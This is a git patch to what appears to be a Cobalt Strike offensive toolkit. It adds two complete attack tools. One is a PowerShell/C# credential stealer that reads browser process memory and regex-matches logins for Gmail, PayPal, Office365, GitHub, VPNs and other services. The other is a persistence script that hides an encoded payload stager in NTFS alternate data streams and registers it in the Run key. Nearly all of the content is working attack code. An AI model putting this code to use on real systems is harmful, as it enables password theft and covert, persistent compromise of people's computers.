From 6a37a00dac8630dabc77f3bee370cbc23fa432c1 Mon Sep 17 00:00:00 2001 From: Jonathan Echavarria Date: Wed, 5 Oct 2016 15:01:45 -0400 Subject: [PATCH] added mimikittenz, adsbackdoor script, and proper adsbackdoor function --- .gitignore | 1 + kits/CredKit/CredKit.cna | 9 + kits/CredKit/scripts/Invoke-mimikittenz.ps1 | 535 ++++++++++++++++++ kits/PersistKit/PersistKit.cna | 24 +- .../PersistKit/scripts/Invoke-ADSBackdoor.ps1 | 67 +++ 5 files changed, 618 insertions(+), 18 deletions(-) create mode 100644 .gitignore create mode 100644 kits/CredKit/scripts/Invoke-mimikittenz.ps1 create mode 100644 kits/PersistKit/scripts/Invoke-ADSBackdoor.ps1 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..352935e --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +In-dev/ \ No newline at end of file diff --git a/kits/CredKit/CredKit.cna b/kits/CredKit/CredKit.cna index 5689c33..cdaefdd 100644 --- a/kits/CredKit/CredKit.cna +++ b/kits/CredKit/CredKit.cna @@ -52,6 +52,15 @@ popup beacon_bottom { bpowershell($bid, "Get-KeePassDatabaseKey -Verbose"); } } + item "Invoke-mimikittenz"{ + local('$bid'); + foreach $bid ($1) { + binput($bid, "powershell-import Invoke-mimikittenz.ps1"); + bpowershell_import($bid, script_resource("scripts/Invoke-mimikittenz.ps1")); + binput($bid, "powershell Invoke-mimikittenz"); + bpowershell($bid, "Invoke-mimikittenz"); + } + } } } diff --git a/kits/CredKit/scripts/Invoke-mimikittenz.ps1 b/kits/CredKit/scripts/Invoke-mimikittenz.ps1 new file mode 100644 index 0000000..3b20acf --- /dev/null +++ b/kits/CredKit/scripts/Invoke-mimikittenz.ps1 @@ -0,0 +1,535 @@ +function Invoke-mimikittenz +{ +<# +.SYNOPSIS + +Extracts juicy info from memory. + +Author: Jamieson O'Reilly (https://au.linkedin.com/in/jamieson-o-reilly-13ab6470) +License: https://creativecommons.org/licenses/by/4.0/ + + +.DESCRIPTION + +Utilizes Windows function ReadProcessMemory() to extract juicy information from target process memory using regex. + +.EXAMPLE + +Invoke-mimikittenz + +.NOTES + +Depending on each process cleanup, process generally must be running in order to extract info. +#> + + +$asciiart = @" +4pSA4pSA4pSA4paQ4paA4paE4pSA4pSA4pSA4pSA4pSA4pSA4paE4paA4paM4pSA4pSA4pSA4paE4paE4paE4paE4paE4paE4paE4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSADQrilIDilIDilIDilozilpLilpLiloDiloTiloTiloTiloTiloDilpLilpLilpDiloTiloDiloDilpLilojilojilpLilojilojilpLiloDiloDiloTilIDilIDilIDilIDilIDilIDilIDilIDilIDilIANCuKUgOKUgOKWkOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWgOKWhOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0K4pSA4pSA4paM4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paE4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paA4paE4pSA4pSA4pSA4pSA4pSA4pSADQriloDilojilpLilpLilojilozilpLilpLilojilpLilpLilpDilojilpLilpLiloDilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilozilIDilIDilIDilIDilIANCuKWgOKWjOKWkuKWkuKWkuKWkuKWkuKWgOKWkuKWgOKWkuKWkuKWkuKWkuKWkuKWgOKWgOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKWhOKWhA0K4paQ4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paM4paE4paI4paS4paIDQrilpDilpLilpLilpLilpJtaW1pa2l0dGVuei0xLjAtYWxwaGHilpLilpLilpLilpLilpLilpLilpLilpLilpLilpDilpLilojiloDilIANCuKWkOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKWgOKUgOKUgOKUgA0K4paQ4paS4paS4paS4paS4paS4paSQ0FOIEkgSEFaIFdBTT/ilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilozilIDilIDilIDilIANCuKUgOKWjOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKUgOKUgA0K4pSA4paQ4paS4paS4paSamFtaWVzb25AZHJpbmdlbnNlYy5jb23ilpLilpLilpLilpLilozilIDilIDilIDilIDilIANCuKUgOKUgOKWjOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKUgOKUgOKUgA0K4pSA4pSA4paQ4paE4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paE4paM4pSA4pSA4pSA4pSA4pSA4pSADQrilIDilIDilIDilIDiloDiloTiloTiloDiloDiloDiloDiloTiloTiloDiloDiloDiloDiloDiloDiloTiloTiloDiloDiloDiloDiloDiloDiloTiloTiloDilIDilIDilIDilIDilIDilIDilIDilIA= +"@ +$Source2 = @" +using System; +using System.Collections.Generic; +using System.Text; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text.RegularExpressions; +using System.IO; + +namespace mimikittenz +{ + public class MemProcInspector + { + static MemProcInspector() + { + InitRegexes(); + } + + + + public static void SaveToFile(string fileName, List matches) + { + StringBuilder builder = new StringBuilder(); + foreach (MatchInfo s in matches) + { + builder.AppendLine(s.PatternMatch); + } + File.WriteAllText(fileName, builder.ToString()); + + } + + public static void AddRegex(string name, string pattern) + { + regexes.Add(new RegexRecord(name, pattern)); + } + + public static List regexes = new List(); + + public static List InspectManyProcs(params string[] procNames) + { + + + + List lstMatch = new List(); + string res = "None"; + foreach (string procName in procNames) + { + try + { + + Process[] procs = Process.GetProcessesByName(procName); + foreach (Process pr in procs) + { + Process process = pr; + + res = InspectProc(process, ref lstMatch); + + } + } + catch (Exception ex) + { + res = ex.Message; + res = ex.StackTrace; + } + } + List lstToReturn = new List(); + + return lstMatch; + } + + private static void InitRegexes() + { + regexes.Clear(); + } + + + + private static string InspectProc(Process process, ref List lstMatch) + { + string res = ""; + IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id); + if (processHandle.ToInt64() == 0) + { + int err = Marshal.GetLastWin32Error(); + + } + + res = SearchProc(processHandle, ref lstMatch); + MInterop.CloseHandle(processHandle); + return res; + } + + private static string SearchProc(IntPtr processHandle, ref List lstMatch) + { + string res = ""; + MInterop.SYSTEM_INFO si = new MInterop.SYSTEM_INFO(); + MInterop.GetSystemInfo(out si); + + long createdSize = 1; + byte[] lpBuffer = new byte[createdSize]; + + Int64 total = 0; + + long regionStart = si.minimumApplicationAddress.ToInt64(); //(BYTE*)si.lpMinimumApplicationAddress; + bool skipRegion = false; + bool stop = false; + //while (regionStart < Math.Min(0x7ffeffff, si.maximumApplicationAddress.ToInt64()) && !stop) + while (regionStart < si.maximumApplicationAddress.ToInt64() && !stop) + { + //MInterop.MEMORY_BASIC_INFORMATION memInfo; + MInterop.MEMORY_BASIC_INFORMATION memInfo; + + long regionRead = 0; + long regionSize; + int resulq = MInterop.VirtualQueryEx(processHandle, (IntPtr)regionStart, out memInfo, (uint)Marshal.SizeOf(typeof(MInterop.MEMORY_BASIC_INFORMATION))); + if (resulq == 0) + { + //XVERBOSE(L"VirtualQueryEx error %d\n", GetLastError()); + int err = Marshal.GetLastWin32Error(); + Marshal.ThrowExceptionForHR(err); + break; + } + regionSize = (memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64() - regionStart); + if (MInterop.IsDataRegion(memInfo) == false) + { + + } + if (skipRegion) + { + skipRegion = false; + } + else + if (MInterop.IsDataRegion(memInfo)) + { + + if (createdSize < regionSize) + { + createdSize = regionSize; + lpBuffer = new byte[createdSize]; + } + bool resRead = false; + try + { + resRead = MInterop.ReadProcessMemory(processHandle, new IntPtr(regionStart), lpBuffer, regionSize, out regionRead); + } + catch //(AccessViolationException ex) + { + resRead = false; + } + // result |= SearchRegion(process, regionStart, regionSize, regexData, regionRead, buffer); + regionSize = (int)regionRead; + if (!resRead) + { + // looks like the memory state has been altered by the target process + // between our VirtualQueryEx and ReadProcessMemory calls -> + // learn the size of the changed region and jump over it on the next iteration + skipRegion = true; + //XVERBOSE(L"Skipping a non-readable region\n"); + } + if (resRead) + { + List strsTolook = new List(); + string str1 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0, (int)regionRead); + string str11 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0 + 1, (int)regionRead - 1); + string str4 = UnicodeEncoding.ASCII.GetString(lpBuffer, 0, (int)regionRead); + strsTolook.Add(str1); + strsTolook.Add(str4); + strsTolook.Add(str11); + + foreach (RegexRecord regexRec in regexes) + { + + foreach (string str in strsTolook) + { + MatchCollection matches3 = regexRec.Regex.Matches(str); + if (matches3.Count > 0) + { + for (int i = 0; i < matches3.Count; i++) + if (matches3[i].Success && IsMatchesContain(lstMatch, matches3[i].Value) == false && IsRegexRecordsContain(matches3[i].Value) == false) + { + MatchInfo m = new MatchInfo(); + m.PatternName = regexRec.Name; + m.PatternMatch = matches3[i].Value; + + lstMatch.Add(m); + } + res = matches3[0].Value; + + + } + } + } + + + } + + total += regionSize; + } + regionStart += regionSize; + //stop = IsStop(stopEvent); + } + //XVERBOSE(L"Totally searched %lu bytes\n", total); + //return result; + return res; + } + + private static bool IsMatchesContain(List matches, string val) + { + foreach (MatchInfo item in matches) + { + if (string.Compare(item.PatternMatch, val) == 0) + return true; + } + return false; + } + + private static bool IsRegexRecordsContain(string pattern) + { + foreach (RegexRecord item in regexes) + { + if (string.Compare(item.Pattern, pattern) == 0) + return true; + } + return false; + } + + + const int MAX_PREFIX_LENGTH = 1; + // the essence + // estimated upper limit to allocate enough buffers + const int MAX_MATCH_LENGTH = 1024; + + // the buffer should be large enough to contain at least MAX_CHECK_LENGTH*sizeof(wchar_t) bytes + const int DEFAULT_SEARCH_BUFFER_SIZE = (10 * 1024 * 1024); + // the upper limit of the buffer size + const int MAX_SEARCH_BUFFER_SIZE = (25 * 1024 * 1024); + + + } + + public class MatchInfo + { + + public string PatternName; + public string PatternMatch; + + // public string ProccesName { get; set; } + + } + public class RegexRecord + { + Regex mRegex; + + protected RegexRecord() + { + + } + + public RegexRecord(string name, string pattern) + { + Name = name; + Pattern = pattern; + mRegex = new Regex(pattern); + } + + public Regex Regex { get { return mRegex; } } + + + + public string Name; + + + public string Pattern; + + + + } + + public class MInterop + { + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool ReadProcessMemory(IntPtr hProcess, + IntPtr lpBaseAddress, byte[] lpBuffer, long dwSize, out long lpNumberOfBytesRead); + + public const int PROCESS_WM_READ = 0x0010; + public const int PROCESS_QUERY_INFORMATION = 0x00000400; + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); + + [StructLayout(LayoutKind.Sequential)] + public struct MEMORY_BASIC_INFORMATION32 + { + public IntPtr BaseAddress; + public IntPtr AllocationBase; + public uint AllocationProtect; + public IntPtr RegionSize; + public uint State; + public uint Protect; + public uint Type; + } + [StructLayout(LayoutKind.Sequential)] + public struct MEMORY_BASIC_INFORMATION + { + public IntPtr BaseAddress; + public IntPtr AllocationBase; + public uint AllocationProtect; + public short aligment; + public IntPtr RegionSize; + public uint State; + public uint Protect; + public uint Type; + public short aligment2; + } + + public enum AllocationProtect : uint + { + PAGE_EXECUTE = 0x00000010, + PAGE_EXECUTE_READ = 0x00000020, + PAGE_EXECUTE_READWRITE = 0x00000040, + PAGE_EXECUTE_WRITECOPY = 0x00000080, + PAGE_NOACCESS = 0x00000001, + PAGE_READONLY = 0x00000002, + PAGE_READWRITE = 0x00000004, + PAGE_WRITECOPY = 0x00000008, + PAGE_GUARD = 0x00000100, + PAGE_NOCACHE = 0x00000200, + PAGE_WRITECOMBINE = 0x00000400 + } + + [StructLayout(LayoutKind.Sequential)] + public struct SYSTEM_INFO + { + public ushort processorArchitecture; + ushort reserved; + public uint pageSize; + public IntPtr minimumApplicationAddress; + public IntPtr maximumApplicationAddress; + public IntPtr activeProcessorMask; + public uint numberOfProcessors; + public uint processorType; + public uint allocationGranularity; + public ushort processorLevel; + public ushort processorRevision; + } + + [DllImport("kernel32.dll")] + public static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo); + + public enum StateEnum : uint + { + MEM_COMMIT = 0x1000, + MEM_FREE = 0x10000, + MEM_RESERVE = 0x2000 + } + + public enum TypeEnum : uint + { + MEM_IMAGE = 0x1000000, + MEM_MAPPED = 0x40000, + MEM_PRIVATE = 0x20000 + } + + internal static bool IsDataRegion(MEMORY_BASIC_INFORMATION memInfo) + { + + bool res = // check this is a live (not free/reserved) memory + (memInfo.State & (uint)StateEnum.MEM_COMMIT) != 0 && + // don't examine memory mapped files sections / PE images + // (memInfo.Type & (uint)TypeEnum.MEM_PRIVATE) != 0 && + // don't read PAGE_GUARD memory to avoid altering target state + (memInfo.Protect & ((uint)AllocationProtect.PAGE_NOACCESS | (uint)AllocationProtect.PAGE_GUARD)) == 0 + && + // make sure the memory is readable + (memInfo.Protect & ((uint)AllocationProtect.PAGE_READONLY | (uint)AllocationProtect.PAGE_READWRITE | + (uint)AllocationProtect.PAGE_EXECUTE_READ | (uint)AllocationProtect.PAGE_EXECUTE_READWRITE | (uint)AllocationProtect.PAGE_EXECUTE_WRITECOPY)) != 0; + + return res; + } + + public enum ProcessAccessTypes + { + PROCESS_TERMINATE = 0x00000001, + PROCESS_CREATE_THREAD = 0x00000002, + PROCESS_SET_SESSIONID = 0x00000004, + PROCESS_VM_OPERATION = 0x00000008, + PROCESS_VM_READ = 0x00000010, + PROCESS_VM_WRITE = 0x00000020, + PROCESS_DUP_HANDLE = 0x00000040, + PROCESS_CREATE_PROCESS = 0x00000080, + PROCESS_SET_QUOTA = 0x00000100, + PROCESS_SET_INFORMATION = 0x00000200, + PROCESS_QUERY_INFORMATION = 0x00000400, + STANDARD_RIGHTS_REQUIRED = 0x000F0000, + SYNCHRONIZE = 0x00100000, + PROCESS_ALL_ACCESS = PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_SET_SESSIONID | PROCESS_VM_OPERATION | + PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE | PROCESS_CREATE_PROCESS | PROCESS_SET_QUOTA | + PROCESS_SET_INFORMATION | PROCESS_QUERY_INFORMATION | STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE + } + } +} + + +"@ + +$inmem=New-Object -TypeName System.CodeDom.Compiler.CompilerParameters + $inmem.GenerateInMemory=1 +$inmem.ReferencedAssemblies.AddRange($(@("System.dll", $([PSObject].Assembly.Location)))) + +Add-Type -TypeDefinition $Source2 -Language CSharp -CompilerParameters $inmem + +[mimikittenz.MemProcInspector]::regexes.Clear() +#Internet Banking +#Err... Taken out for good measure + +#Web E-mail + + #Gmail + [mimikittenz.MemProcInspector]::AddRegex("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie=") + + +#Web Services + + #Dropbox + [mimikittenz.MemProcInspector]::AddRegex("Dropbox","login_email=.{1,99}&login_password=.{1,99}&") + #SalesForce (Needs fix) + #[mimikittenz.MemProcInspector]::AddRegex("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login=") + #Office365 + [mimikittenz.MemProcInspector]::AddRegex("Office365","login=.{1,32}&passwd=.{1,22}&PPSX=") + #Microsoft OneDrive + [mimikittenz.MemProcInspector]::AddRegex("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT=") + #PayPal + [mimikittenz.MemProcInspector]::AddRegex("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name") + #AWS Web Services + [mimikittenz.MemProcInspector]::AddRegex("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=") + #Outlook Web 2015 + [mimikittenz.MemProcInspector]::AddRegex("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText") + #Slack + [mimikittenz.MemProcInspector]::AddRegex("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}") + #CitrixOnline + [mimikittenz.MemProcInspector]::AddRegex("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit") + +#Accounting + + #Xero + [mimikittenz.MemProcInspector]::AddRegex("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken=") + #MYOB + [mimikittenz.MemProcInspector]::AddRegex("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe=") +#SSL-VPN's + + #Juniper SSL-VPN + [mimikittenz.MemProcInspector]::AddRegex("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit=") + + +#Social Media + + #Twitter + [mimikittenz.MemProcInspector]::AddRegex("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me=") + #Facebook + [mimikittenz.MemProcInspector]::AddRegex("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&default_persistent=") + #LinkedIN + [mimikittenz.MemProcInspector]::AddRegex("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled") + +#Anti-Forensics + + #Malwr + [mimikittenz.MemProcInspector]::AddRegex("Malwr","&username=.{1,32}&password=.{1,22}&next=") + #VirusTotal + [mimikittenz.MemProcInspector]::AddRegex("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json") + #AnubisLabs + [mimikittenz.MemProcInspector]::AddRegex("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login") + +#Remote Access + + #Citrix NetScaler + [mimikittenz.MemProcInspector]::AddRegex("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}") + #Remote Desktop Web Access 2012 + [mimikittenz.MemProcInspector]::AddRegex("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType") + + + +#Dev Related + + #Jira + [mimikittenz.MemProcInspector]::AddRegex("JIRA","username=.{1,50}&password=.{1,50}&rememberMe") + #Redmine + [mimikittenz.MemProcInspector]::AddRegex("Redmine","username=.{1,50}&password=.{1,50}&login=Login") + #Github + [mimikittenz.MemProcInspector]::AddRegex("Github","%3D%3D&login=.{1,50}&password=.{1,50}") + #Bugzilla + [mimikittenz.MemProcInspector]::AddRegex("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}") + #Zendesk + [mimikittenz.MemProcInspector]::AddRegex("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}") + #Cpanel + [mimikittenz.MemProcInspector]::AddRegex("Cpanel","user=.{1,50}&pass=.{1,50}") +[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($asciiart)) +$matchesFound=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox") + +write-output $matchesFound +} diff --git a/kits/PersistKit/PersistKit.cna b/kits/PersistKit/PersistKit.cna index ab7f149..ba6db91 100644 --- a/kits/PersistKit/PersistKit.cna +++ b/kits/PersistKit/PersistKit.cna @@ -9,35 +9,23 @@ sub servicefilename { } # Menu-driven operation to create an NTFS Alternate Data Stream backdoor that -# autoruns on boot -# -# BUG WARN: need to be able to get the folder location from specified file -# location to support ADS injection into both files and folders +# autoruns on boot. Does NOT require admin sub createADSBackdoor { $bid = $1; $selectedListener = $2; - prompt_text("Location of file/folder to give ADS?", "%APPDATA%\Temp", lambda({ - # Here's the bug, if you can think of a better way to do this, - # please submit a PR - bcd($bid, $1); + prompt_text("Location of file/folder to give ADS (it must exist!)?", "%APPDATA%\Temp\somefile.txt", lambda({ # Encode shellcode for the stager $psPayload = powershell_encode_stager(shellcode($selectedListener)); - # Create ADS file, ensure timestamps are not modified - bshell($bid, ">>adfjklbalgjbr.txt echo \"$psPayload\""); - btimestomp($bid, "adfjklbalgjbr.txt", $1); - bshell($bid, "type adfjklbalgjbr.txt > $1 $+ :gfdjkasghslkg.txt"); - btimestomp($bid, "$1 $+ :gfdjkasghslkg.txt", "adfjklbalgjbr.txt"); - brm($bid, "adfjklbalgjbr.txt"); - $psExecBackdoorCmd = powershell_encode_stager("gc $FILE_TO_ADS: | powershell.exe -noprofile -ep bypass -enc -"); + $fullPsPayload = "powershell.exe -nop -w hidden -encodedcommand $psPayload"; + bpowershell_import($bid, script_resource("scritps\Invoke-ADSBackdoor.ps1")); getADSRegName(); - # Write the reg key for the backdoor - bpowershell($1, "Set-Item -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \" $+ $theADSRegName $+ \" -PropertyType String -Value \"powershell.exe -ExecutionPolicy bypass -noprofile -enc $psExecBackdoorCmd \""); + bpowershell($bid, "Invoke-ADSBackdoor -RegKeyName $theADSRegName -backdoored_file_path $1 -cobaltstrike_gen_payload $fullPsPayload"); } $bid => $1, $selectedListener => $2 )); } # Returns a string to use for the reg key name sub getADSRegName { - prompt_text("Service Name you'd like to use?", "IntelStartupSvc", { + prompt_text("Registry key name you'd like to use?", "Update", { $theADSRegName = $1; }); return $theADSRegName; diff --git a/kits/PersistKit/scripts/Invoke-ADSBackdoor.ps1 b/kits/PersistKit/scripts/Invoke-ADSBackdoor.ps1 new file mode 100644 index 0000000..e0767df --- /dev/null +++ b/kits/PersistKit/scripts/Invoke-ADSBackdoor.ps1 @@ -0,0 +1,67 @@ +function Invoke-ADSBackdoor{ +<# +.SYNOPSIS +Powershell Script that will use Alternate Data Streams to achieve persistence +Author: Matt Nelson (@enigma0x3), modified by Jonathan Echavarria (@Und3rf10w) to work with Cobalt Strike + +.DESCRIPTION +This script will obtain persistence on a Windows 7+ machine under both Standard and Administrative accounts by +using two Alternate Data Streams. The first Alternate Data stream stores the payload and the second Alternate Data Stream +stores some VBScript that acts as a wrapper in order to hide the DOS prompt when invoking the data stream containing the +payload. This script is not intented to be used outside the Cobalt Strike Und3rf10w Aggressor Kit workflow as it will +correctly generate all of the correct arguments. + +.EXAMPLE +PS C:\> Invoke-ADSBackdoor -RegKeyName Und3rf10w_key -backdoored_file_path C:\Windows\System32\explorer.exe -cobaltstrike_gen_payload + +#> + + + [CmdletBinding()] + Param( + [Parameter(Mandatory=$True)] + [string]$cobaltstrike_gen_payload + + [Parameter(Mandatory=$False)] + [string]$RegKeyName + + [Parameter(Mandatory=$False)] + [string]$backdoored_file_path + ) + if (!$RegKeyName) { + Write-Host "Registry key name not provided, defaulting to 'Update'" + $RegKeyName = "Update" + } + + if (!$backdoored_file_path) { + Write-Host "Path to file to backdoor not provided, defaulting to '$env:USERPROFILE\AppData'" + $backdoored_file_path = "$env:USERPROFILE\AppData" + } + + $payload = $cobaltstrike_gen_payload + + $payload_adsfile_name = [System.IO.Path]::GetRandomFileName() + $wrapper_adsfile_name = [System.IO.Path]::GetRandomFileName() + + $vbstext1 = "Dim objShell" + $vbstext2 = "Set objShell = WScript.CreateObject(""WScript.Shell"")" + $vbstext3 = "command = ""cmd /C for /f """"delims=,"""" %i in ($backdoored_file_path" + ":" + "$payload_adsfile_name") do %i""" #TODO: change the path to a proper variable + $vbstext4 = "objShell.Run command, 0" + $vbstext5 = "Set objShell = Nothing" + $vbText = $vbstext1 + ":" + $vbstext2 + ":" + $vbstext3 + ":" + $vbstext4 + ":" + $vbstext5 + + $createPayloadADS = {cmd /C "echo $payload > $backdoored_file_path:$payload_adsfile_name"} + Write-Host "Payload stored in $backdoored_file_path" + ":$payload_adsfile_name" + $createWrapperADS = {cmd /C "echo $vbtext > $backdoored_file_path:$wrapper_adsfile_name"} + Write-Host "Payload VBS wrapper stored in $backdoored_file_path" + ":$wrapper_adsfile_name" + + Invoke-Command -ScriptBlock $createPayloadADS + Invoke-Command -ScriptBlock $createWrapperADS + + New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $RegKeyName -PropertyType String -Value "\"wscript.exe " + "$backdoored_file_path" + ":$wrapper_adsfile_name\"" -Force + + Write-Host "Backdoor Deployed, details provided below, take notes:" + Write-Host "Reg key path: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\$RegKeyName" + Write-Host "Payload path: $backdoored_file_path" + ":$payload_adsfile_name" + Write-Host "Wrapper path: $backdoored_file_path" + ":$wrapper_adsfile_name" +} \ No newline at end of file